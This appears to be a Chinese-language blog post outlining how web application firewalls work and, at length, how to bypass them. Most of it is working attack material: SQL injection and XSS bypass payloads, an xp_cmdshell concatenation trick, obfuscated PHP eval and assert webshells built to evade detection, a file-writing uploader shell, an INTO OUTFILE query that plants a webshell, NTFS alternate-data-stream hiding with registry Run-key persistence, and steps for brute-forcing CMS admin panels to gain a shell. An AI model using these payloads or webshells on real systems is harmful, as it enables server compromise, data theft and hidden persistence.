- waf(web application firewall):
- 原理:
- web应用防火墙,一款集网站内容安全防护、网站资源安全防护及流量保护功能为一体的服务器工具。为用户提供实时网站安全防护,避免各类针对网站的攻击带来的危害。(核心其实也是基于规则的防御)| 任何工具(Awvs、IPS、IDS)其实都是基于规则进行匹配,最多加个爬虫功能
- 功能:
- 网马|木马主动防御及查杀
- 网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%
- 网站漏洞防御功能
- 可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。
- 网站流量实时监控
- 能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况
- 危险组件防护功能
- 全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全
- .Net安全保护模块
- 快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全
- 双层防盗链链接模式
- 可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面
- 网站特定资源防下载
- 支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载
- CC攻击(攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃)防护
- 自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。
- IP黑白名单
- 全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。
- 网马|木马主动防御及查杀
- 系统攻击分类:
- web服务器漏洞进行攻击:DDOS、病毒木马破坏等攻击
- 网页自身安全漏洞攻击:SQL注入攻击、跨站脚本攻击
- waf注入绕过检测方法:
- 分类:
- 硬件waf:绿盟、安恒、启明、知道创宇等(弊端就是访问速度变慢)
- 软件waf:安全狗、云锁、中间件自带的waf模块(安装在服务器上,访问速度不变)
- 云waf:阿里云、安全狗、创宇等(弊端:通过cname值访问,如果知道真实ip,可以直接绕过waf)
- 服务器上安装安全狗和phpstuday绑定:
- 1、关闭apache程序及httpd.exe进程
- 2、运行cmd,cd进入apache/bin文件夹目录,执行httpd.exe -k install -n apache2.4.39
- 3、安全狗安装服务名称填写apache2.4.39
- 4、安装完成记得重启安全狗及phpstuday
- waf主要检测:
- http检测:
- 上传检测:
- http检测:
- 原理:
- 绕过waf注入的方法:
- 身份认证的绕过:
- 伪造搜索引擎(已失效):
- 老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击
- burp suite抓包替换user-agent头:
- 伪造白名单特殊目录:
- 判断是否为admin、dede、install等目录,如果是,则不做拦截
- 伪造IP地址绕过:
- 伪造为127.0.0.1,使用burp suite插件
- 添加过滤本地ip waf插件到bp
- 请求发送到重发器,可以看到已经伪造了IP地址
- 伪造搜索引擎(已失效):
- 数据包解析阶段的绕过:
- 编码绕过:
- 采用URL编码绕过,现在基本已经被防御
- 修改请求方式绕过:
- 把get提交的请求换为post即可绕过waf
- 复合参数绕过:
- 例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
- 例如一个请求是这样的
- 触发规则的绕过(针对一些特殊关键词或则用法进行检测的绕过):
- 特殊字符替换空格:
- mysql里%0a是换行,可以代替空格,也可以使用内联注释绕过
- http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2 //%23为#号
- sqlserver中/**/代替空格,函数后边是可以接内联注释的:
- 内联注释:mysql里有三种注释方式: -- 注释 # (单行注释) /* */(多行注释) | 如果在
/*
后加惊叹号!
意为/* */
里的语句将被执行- 1.利用()代替空格
2.利用mysql特性/*!*/执行语句
3.利用/**/混淆代码
我给出的注入语句是:
union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1, user(),(database/**/()),4,5
http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
这里要注意的几点是:
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00
- 1.利用()代替空格
- 内联注释:mysql里有三种注释方式: -- 注释 # (单行注释) /* */(多行注释) | 如果在
- mysql里%0a是换行,可以代替空格,也可以使用内联注释绕过
- 特殊字符拼接:
- 如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
- 如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
- 注释包含关键词绕过:
- mysql中使用/*!*/包含关键词绕过,加个!是执行注释里边内容的意思。
- 如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
- 等价替换:
- select~ select~1 select! select@ 都等同于select,绕过
- and 1=1 换成 and -1=-1 或则 and -2=-2等等
- 空格替换为 %0a/**/
- 大小写替换:?page_id=-15 uNIoN sELecT 1,2,3,4….
- 双写替换法:?page_id=-15 UNIunionON SELselectECT 1,2,3,4…
- 编码与注释混合:?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
- waf本身功能绕过:如果waf把*替换为空,则可以利用这个特性绕过:?page_id=-15+uni*on+sel*ect+1,2,3,4....
- 使用其他变量或者命令对注入语句进行替换(实际中很有作用):MOD为求余运算
-
COMMAND | WHAT TO USE INSTEAD @@version | version() concat() | concat_ws() group_concat() | concat_ws() = | like
- 异或绕过:
- 在 ^ 没有被过滤的时候可以1用它来测试,异或: Xor 或 ^,1 ^ 0 = 1,1 ^ 1 = 0
- 换行绕过:
- 换行符绕过:%23%0a、%2d%2d%0a,%23是url编码中的#(也就是mysql中的注释符),%0a是(也就是换行符,后面的语句就成功执行了)
- 替换法绕过:
- 构造 1 && True --+就可以绕过
- 分块传输(比较厉害,以前干掉所有waf):
- 使用bp插件添加分块传输头,Transfer-Encoding:chunked进行分块传输
- 特殊字符替换空格:
- 编码绕过:
- 身份认证的绕过:
- XSS绕过waf:
- 大小写绕过
- javascript伪协议
- 没有分号
- Flash
- HTML5新标签
- <video src=1 οnerrοr=alert(/xss/)> 绕过
- <audio src=1 οnerrοr=alert(/xss/)>
- <body/οnfοcus=alert(/xss/)>
- <details open οntοggle=alert(/xss/)>
- <button οnfοcus=alert(/xss/) autofocus>
- Fuzz进行测试
- 双层标签绕过
- base64编码绕过
- 文件上传绕过:
- 等号绕过
- 换行绕过:
- 填充垃圾字符:
- 在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验
- 等号绕过
- 木马免杀:
- 大马控制控制服务器流程:
- 上传php小马到服务器:
-
<? $path = $_POST['x']; $text = $_POST['y']; $file = fopen($path, "w+"); fwrite($file,$text); fclose($file); ?> <form action="" method="post"> 读取当前文件路径: <? echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br> 保存路径:<input name="x" type="text" /><br> 写入内容:<br><textarea name="y" cols="90" rows="50"></textarea></br> <input name="" type="submit" value="提交"/> </form>
-
- 然后通过小马上传大马,使用大马控制webshell
- 上传php小马到服务器:
- 一句话木马绕过waf:
-
<?php $mt="JF9QT1N"; $ojj="QGV2YWwo"; $hsa="UWydpMGle"; $fnx="5BeSleleddKTs="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?> —————————————————————————————————————————————————————— str_replace:参数:("需要匹配的字符","替换字符","需要匹配的对象") $zk=str_replace("d","","sdtdrd_redpdldadcde")=str_replace // $zk=str_replace $ef=str_replace("z", "", "zbazsze64_zdzeczodze")=base64_decode // $ef=base64_decode $dva=str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")=create_function //$dva=create_function $ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs= str_replace(("le", "", "QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs= base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")=@eval($_POST['i0nAy']); create_function('',@eval($_POST['i0nAy']);) $zvm();
- 测试发现,竟然被waf识别,所以转换思路,在变形马的基础上再加密:
- 可以发现,waf并没有识别,从而绕过waf,通过火狐浏览器插件去执行一句话木马,获取系统信息
- 由于WAF有识别菜刀功能,所以使用菜刀去连接一句话木马会被waf拦截,所以我们采用修改菜刀指纹信息,从而绕过waf
- 首先关闭waf安全狗,使用WSExplorer工具修改菜刀指纹信息:
- 火狐浏览器插件直接执行查看效果:
- 再开启WAF安全狗防护,重启phpstuday,查看是否可以绕过:
- 绕过失败。。。。。检查原因发现是因为代码留有后门导致绕过失败
-
- include函数过waf:
- 上传木马文件和包含文件到服务器,然后使用包含地址来绕过waf
- 注释执行一句话木马绕过:
-
<?php //t.php $test = $_GET['r']; echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/; ?>
-
- 替换函数一句话木马绕过:
-
<?php $a = substr_replace("assexy","rt",4); $b = array(''=>$a($_POST['q'])); var_dump($b); ?>
-
- 变量覆盖绕过waf:
-
<?php $h='f'; $$h=$_REQUEST['x']; //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f $d='CHECK'; $$d='ass'; $$d=$CHECK.'ert'; $CHECK($f); ?>
-
- 通过NTFS交换数据流文件实现文件隐藏(隐藏文件,检测不到),绕过waf
- 原理:
- 通过NTFS交换数据流文件实现文件隐藏
echo hello>>test.txt:webshell.php 创建数据流文件
dir /r 查看数据流文件
notepad muma.php 新建一个一句话木马文件
通过命令 type muma.php>>test.txt:muma.php来创建新的交换数据流文件
数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件
- 通过NTFS交换数据流文件实现文件隐藏
- 过程:
- 执行木马函数转换为数据流文件
- 使用include函数把NTFS流文件包含进去,完成木马上传
- 原理:
- 大马控制控制服务器流程:
- 后门分析:
- 代码分析,关键词定位 (如:请勿用于非法用途,否则后果自负)
- 网络通信分析
- 进程包分析
- WSExplorer进程包工具解析
- 获取webshell方法(目录扫描工具用7kb):
- CMS获取webshell:
- 目标:南方数据CMS系统后台获取webshell
- 思路:
- 使用7kb遍历网站url,找到后台地址
- 再使用burp suite暴力破解后台账号密码
- 登录后台账号密码把一句话木马插到配置文件里,7kb扫描出来配置文件后直接使用菜刀进行连接获取webshell
- 思路2:
- 使用数据库备份功能上传木马,配合解析漏洞获取webshell
- dedecms后台获取webshell:
- 前期:修改 /include/uploadsafe.inc.php 第45行:$imtypes = array 改成 $imgtypes = array,再更新缓存即可。
- 思路1:通过自带文件上传功能获取webshell
- 思路2:使用数据库备份命令上传木马至服务器从而获取webshell,在写入mysql数据库文件操作时需要设置配置文件
- 前期:需要在my.ini里设置:secure_file_priv=''
- select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\phpStudy\\WWW\\best111111.php';
- 非CMS获取webshell:
- 1、数据库备份获取Webshell
2、抓包上传获取Webshell
3、Sql命令获取Webshell
4、模板修改获取Webshell
5、插入一句话获取Webshell
6、修改上传类型获取Webshell
- 1、数据库备份获取Webshell
- CMS获取webshell:
WAF详解及WAF绕过
最新推荐文章于 2024-02-08 14:30:00 发布